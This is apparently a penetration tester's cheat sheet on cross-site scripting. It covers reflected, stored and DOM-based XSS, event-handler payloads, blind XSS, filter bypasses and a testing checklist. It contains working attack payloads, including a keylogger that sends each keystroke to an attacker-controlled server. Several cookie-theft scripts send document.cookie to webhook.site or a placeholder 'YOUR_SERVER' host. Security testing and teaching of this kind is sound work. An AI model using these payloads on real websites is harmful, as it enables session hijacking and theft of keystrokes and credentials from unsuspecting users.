XSS

What is XSS?

XSS lets us execute JavaScript in a victim’s browser. There are three different types:

Reflected XSS: The payload comes from the current HTTP request. You send a request and get a malicious response back. Somewhat limited - you can only really target yourself unless you trick someone into clicking a crafted URL.

Stored XSS: The payload is stored in a database and retrieved later. Much more powerful - it can affect every user who loads the page. Higher impact.

DOM XSS: The vulnerable code is client-side JavaScript that uses untrusted, unsanitized inputs - the server never sees the payload. To confirm DOM XSS, open the Network tab and check whether a request is sent to the server when you trigger it. If no request is made, it’s DOM-based.


Payloads

Avoid alert(1) - Chrome has changed how it handles alerts inside cross-origin iframes, and it’s heavily filtered/detected. Prefer:

<script>print()</script>
<script>prompt("XSS!")</script>
<script>prompt(1)</script>

When <script> tags don’t work (e.g. in DOM-based contexts where the page doesn’t reload), use event-based payloads:

<img src=x onerror=prompt(1)>
<img src="x" onerror="prompt()">
<svg onload=prompt(1)>
<body onload=prompt(1)>
<input autofocus onfocus=prompt(1)>
<iframe src="javascript:prompt(1)">
<a href="javascript:prompt(1)">click me</a>

The <img> trick works because the browser tries to load x as an image source, fails, and fires onerror. No page reload needed.

HTML Injection first

Before jumping to XSS payloads, test for HTML injection - it’s more likely to work and confirms the input is reflected unsanitized:

<h1>hi</h1>

If the text renders as a header, you have HTML injection and XSS is likely possible. Then escalate to script payloads.

Redirect

<script>window.location.href='https://example.com'</script>

Keylogger

<script>
function logKey(e){ fetch('https://YOUR_SERVER/?k='+e.key) }
document.addEventListener('keydown', logKey)
</script>

Basic XSS Attacks

As always, understand the application first. What can you enter? Where is it stored? What receives it?

Focus on: comment fields, profile fields, search boxes, to-do lists, support tickets - anywhere user input is reflected back on screen.

Approach:

  1. Test HTML injection first (<h1>hi</h1>) to confirm unsanitized reflection.
  2. Try multiple payloads one after another - discipline matters. Don’t give up after one fails.
  3. In DOM contexts, script tags may not fire (no reload) - switch to event-based payloads like onerror.
  4. In stored contexts, script tags work fine because the page reloads when the payload is retrieved.

Stored XSS

Use browser containers when testing stored XSS. You want to verify that the payload fires for other users, not just yourself. Firefox Multi-Account Containers lets you run separate sessions in the same browser window.

Download: https://addons.mozilla.org/de/firefox/addon/multi-account-containers/

Create containers (e.g. “User A” and “User B”), log in as different users, and confirm the payload fires across sessions. Incognito works in a pinch but containers are cleaner.

Stealing cookies

<script>alert(document.cookie)</script>

Note: if the cookie has the httpOnly flag set, JavaScript cannot read it. This is best practice on modern apps, so cookie theft via XSS is less common than it used to be - but still worth testing.


To actually exfiltrate a cookie rather than just pop it in an alert, you need a server that can receive a request. Options:

Quick testing - webhook.site: Go to https://webhook.site - you get a unique URL. Use it as your receiver. Any request made to it shows up in the browser in real time.

Payload:

<script>var i=new Image();i.src='https://webhook.site/YOUR-UNIQUE-ID/?c='+document.cookie;</script>

What happens: the browser creates an image element, sets its source to your webhook URL with the cookie appended as a query parameter, and fires the request. You see it arrive on webhook.site.

Alternative (fetch API):

<script>fetch('https://webhook.site/YOUR-UNIQUE-ID/?c='+document.cookie)</script>

For real engagements (pentest/red team): Don’t use public webhook sites - you’d be sending client cookies to a third party. Instead:

  • Listen locally with nc -lvnp 80 or a Python HTTP server: python3 -m http.server 80
  • Use Burp Suite Collaborator (Pro) - gives you a unique domain and logs DNS + HTTP callbacks
  • Use your own VPS/EC2 instance

Blind XSS (when you can’t see the result directly): Same idea, but you’re injecting into a form that only an admin sees (e.g. a support ticket). You won’t see the payload fire yourself - you wait for the admin to load the page and the callback to hit your server. Webhook.site works well for this during CTFs/labs.


Testing Methodology

  1. Identify all input fields - visible and hidden (headers, cookies, API params)
  2. Test HTML injection first
  3. Try basic script payload
  4. If blocked, try event-based payloads (onerror, onload, onfocus)
  5. Use browser containers to confirm stored XSS affects other users
  6. For impact: attempt cookie exfiltration via webhook
  7. Note the httpOnly flag - if set, pivot to other XSS impacts (redirect, keylogger, CSRF)

Payload Quick Reference

ContextPayload
Basic<script>prompt(1)</script>
No reload (DOM)<img src=x onerror=prompt(1)>
SVG<svg onload=prompt(1)>
Input field<input autofocus onfocus=prompt(1)>
Cookie theft<script>var i=new Image();i.src='https://webhook.site/ID/?c='+document.cookie;</script>
Redirect<script>window.location.href='https://example.com'</script>
HTML injection test<h1>hi</h1>

Testing Checklist

  • Identify all input fields - visible and hidden (search boxes, comment fields, profile fields, support tickets, URL parameters, headers, cookies)
  • Test for HTML injection first with <h1>hi</h1> - if the text renders as a heading, the input is reflected unsanitized and XSS is likely possible
  • Try basic script payloads: <script>prompt(1)</script> - use prompt() or print() instead of alert() to avoid Chrome filtering
  • If script tags fail, switch to event-based payloads: <img src=x onerror=prompt(1)>, <svg onload=prompt(1)>, <input autofocus onfocus=prompt(1)>
  • Determine the XSS type: check the Network tab - if no request goes to the server when the payload triggers, it is DOM-based. Check page source (Ctrl+U) - if the payload appears evaluated, it is server-side
  • For stored XSS, use Firefox Multi-Account Containers to verify the payload fires for other users, not just the injecting session
  • Check if cookies have the httpOnly flag set - if not, attempt cookie exfiltration with <script>var i=new Image();i.src='https://YOUR_SERVER/?c='+document.cookie;</script>
  • For blind XSS (e.g., support ticket forms where only admins see the input), inject a callback payload pointing to webhook.site or your own listener and wait for a hit
  • If httpOnly is set and cookie theft is not possible, pivot to other XSS impacts - redirect, keylogger, CSRF bypass, session manipulation
  • Test for filter bypasses: nested tags (<scr<script>ipt>), encoding (URL, HTML, Base64 with atob()), case variation
  • Include in report: the exact input field and payload used, XSS type (reflected/stored/DOM), impact demonstration (cookie theft, redirect, keylogger), screenshots of the payload firing in a different user’s session, and whether httpOnly/CSP are in place